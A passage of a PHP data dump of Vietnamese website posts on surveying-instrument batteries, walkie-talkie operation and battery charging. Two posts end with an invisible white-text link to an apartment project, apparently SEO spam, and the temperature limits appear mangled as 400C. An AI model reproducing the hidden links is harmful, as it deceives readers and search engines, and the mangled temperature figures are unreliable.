style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nhiệt độ hoạt động</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">10 – 400 C</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Thời gian đo chi tiết liên tục</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">12h</span></span></span></span></p> </td> </tr> </tbody> </table> </div> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Cách sử dụng pin hiệu quả:</strong></span></span></p> <ul style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nạp pin 8 tiếng, sử dụng hết pin cho 3 lần đầu tiên.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Trước khi sử dụng nên nạp đầy pin.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Không sử dụng pin ở những nơi có nhiệt độ dưới 100C hoặc trên 400C.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nên nạp pin với bộ nạp có chế độ tự ngắt khi pin đầy.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Không sạc pin qua đêm.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Sạc đầy pin nếu muốn bảo quản thời gian dài. Định kì sạc lại 2 tháng 1 lần. </span></span></span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Chung cư Goldlight</span></a></li> </ul> ', 'images' => '201705080835254aec30307fe530ba9537842b35eb5fa1.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '79070', 'slug' => 'pin-may-toan-dac-dien-tu-topcon', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '849', 'rght' => '850', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '486', 'name' => 'Hướng dẫn cơ bản sử dụng máy bộ đàm', 'code' => null, 'alias' => 'huong-dan-co-ban-su-dung-may-bo-dam', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<div style="text-align: justify;"> <font color="#404040" face="sans-serif"><span style="font-size: 13.3333px;"><b>Chúng tôi xin gửi tới các bạn một vài hướng dẫn cơ bản trong việc sử dụng máy bộ đàm.</b></span></font></div> ', 'content' => '<p style="box-sizing: border-box; user-select: text; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64);"> <span style="box-sizing: border-box; user-select: text; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; user-select: text; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><img alt="" src="/admin/webroot/upload/image/images/huong-dan-su-dung-may-bo-dam-cam-tay-chuan-nhat-2015 sua(1).jpg" style="width: 500px; height: 402px;" /><br /> <br /> 1. Tắt và mở máy</strong></span> <strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">bộ đàm</strong></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Nút tắt mở máy thường là nút vặn (xoay) nằm trên đầu máy, thường cũng là nút tùy chỉnh Volume (âm thanh) lớn nhỏ của máy bộ đàm cầm tay (Vị trí 3 – Hình bên phải).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Đối với loại máy bộ đàm cầm tay có bàn phím trước máy, nút tắt mở nguồn có thể được tích hợp bằng một nút bấm ở trên bàn phím của máy (Vị trí 3 – Hình bên trái). Nút tăng chỉnh Volume (âm thanh) là nút số 4.</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi tắt mở nguồn máy</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pin sạc phải được lắp vào máy và đã lắp đúng quy định.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pin sạc đã được nạp điện đầy theo yêu cầu sử dụng.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">2. Tùy chọn kênh liên lạc</strong></span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Để có thể liên lạc được với nhau thì các máy bộ đàm phải để ở cùng 1 kênh liên lạc, thao tác tùy chọn kênh liên lạc được thực hiện bằng cách xoay nút (vặn) chuyển kênh nằm trên đầu máy, kế bên nút nguồn + Volume (Vị trí 2 – Hình bên phải).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Đối với loại máy bộ đàm cầm tay có bàn phím ở phía trước máy, thao tác tùy chọn kênh liên lạc được thực hiện bằng 2 nút bấm (˄˅hoặc ↑ ↓) nằm ở phía trước máy (Vị trí 2 – Hình bên trái).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi chọn kênh liên lạc</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Máy bộ đàm đã được cài đặt tần số sử dụng phù hợp.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tùy chọn đúng kênh liên lạc theo nhóm đã quy định.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">3. Thao tác liên lạc qua máy bộ đàm</strong></span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tất cả các máy bộ đàm cầm tay đều có nút PTT (Push to talk), đó là 1 nút lớn nằm phía bên trái của máy (Vị trí 1 – Trên hình vẽ). Khi muốn nói chuyện với các máy bộ đàm khác, người sử dụng cần phải bóp giữ nút PTT này trước và trong suốt quá trình thực hiện cuộc gọi, sau khi nói xong hãy thả nút này ra để nghe những thông tin phản hồi từ những máy khác.</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi liên lạc qua máy bộ đàm</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Không được liên lạc khi máy không có anten.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Hạn chế việc liên lạc khi máy đang sạc pin hoặc pin yếu.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tất cả các yếu tố trên đều có thể dẫn đến tình trạng hỏng máy hoặc giảm chất lượng sử dụng của máy.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">4. Sạc pin máy bộ đàm</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Cần phải sạc thật đầy pin đối với các máy bộ đàm mới hoặc có pin mới mua.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Sử dụng hết pin rồi mới bắt đầu quá trình sạc lại pin.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Khi sạc pin nên tắt máy hoặc tháo rời pin ra khỏi máy để sạc. <a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Chung cư Gold light</span></a></span></li> </ul> ', 'images' => '20170508082500cf9cf2aab38a5b43cf9daff032f0eaab.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '70748', 'slug' => 'huong-dan-co-ban-su-dung-may-bo-dam', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '847', 'rght' => '848', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '485', 'name' => 'HƯỚNG DẪN SẠC PIN MÁY BỘ ĐÀM ĐÚNG KỸ THUẬT', 'code' => null, 'alias' => 'huong-dan-sac-pin-may-bo-dam-dung-ky-thuat', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-size: 14px; font-family: tahoma, geneva, sans-serif;">Độ bền và tuổi thọ của pin không chỉ phụ thuộc chủ yếu vào loại chất liệu sản xuất pin mà còn phụ thuộc vào các yếu tố khác trong quá trình sử dụng như: sạc pin, sử dụng pin, xả pin và bảo quản cất giữ pin sạc.</span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-size: 14px; font-family: tahoma, geneva, sans-serif;">Để đảm bảo sử dụng pin sạc hiệu quả, người sử dụng cần phải nắm rõ các yêu cầu kỹ thuật về quy trình sạc pin, sử dụng pin, xả pin và bảo quản cất giữ pin sạc.</span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <br /> </p> ', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(85, 85, 85); text-align: justify;"><span style="background-color:#ffffff;">Ngày nay, pin sạc dùng cho các thiết bị điện tử viễn thông nói chung và máy bộ đàm nói riêng thường chủ yếu bao gồm các loại Nikel Cadmium (Ni-Cd), Nikel Metal Hyderide (Ni-MH) và Lithium Ion (Li-Ion). </span></span></span></span><br /> <br /> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Trong đó:</span></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> </p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Ni-Cd (Nikel Cadmium) là loại pin có dung lượng trung bình, được sản xuất từ hỗn hợp Niken và Cadmium, trong đó Cadmium là một chất độc hại, gây ảnh hưởng xấu đến môi trường sau khi ngưng sử dụng.</span></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Ni-MH (Nikel Metal Hydride) là một kiểu pin sạc tương tự như pin Ni-Cd nhưng sử dụng hỗn hợp hấp thu Hiđrua thay cho Cadmium. Pin Ni-MH thường có dung lượng điện lớn gấp 2 - 3 lần so với pin NiCd cùng kích thước.</span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Li-Ion (Lithium Ion) là loại pin dung lượng cao, cho phép sạc nhồi khi đang sử dụng. Loại pin này hiện tại đang được ưa chuộng sử dụng bởi các tính năng vượt trội của nó như: trọng lượng pin nhẹ, dung lượng lưu trữ cao, không có hiệu ứng nhớ, mức tự xả thấp, có thể sạc nhồi khi đang sử dụng.</span></span></span><br /> </p> <p style="user-select: text; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bảng so sánh các loại pin máy bộ đàm:</span></span></span></span></p> <p style="background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><img alt="" src="http://giamaybodam.vn/data/upload/images/Pinmaybodam.jpg" style="user-select: text !important; border: 0px; background: 0px 0px; font-weight: inherit; margin: 0px !important; padding: 0px; outline: 0px; vertical-align: top;" /></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách sạc pin máy bộ đàm: </span></span></span></span><br /> <br /> <span style="background-color: rgb(255, 255, 255); font-size: 14px; font-family: tahoma, geneva, sans-serif;">Để sạc pin máy bộ đàm, chúng ta thường sử dụng bộ sạc đi kèm theo pin của nhà sản xuất. </span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Có 2 loại sạc: bộ sạc nhanh và bộ sạc tiêu chuẩn</span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bộ sạc nhanh</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Là bộ sạc pin với dòng sạc (Ampe) cao, thời gian sạc pin ngắn từ 2 – 4 giờ. Các bộ sạc nhanh thường được thiết kế với bo mạch điều khiển sạc (sạc thông minh) nhằm để tránh trường hợp sạc quá mức, có thể gây hư hỏng pin hoặc gây ra những yếu tố không an toàn, nguy hiểm.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 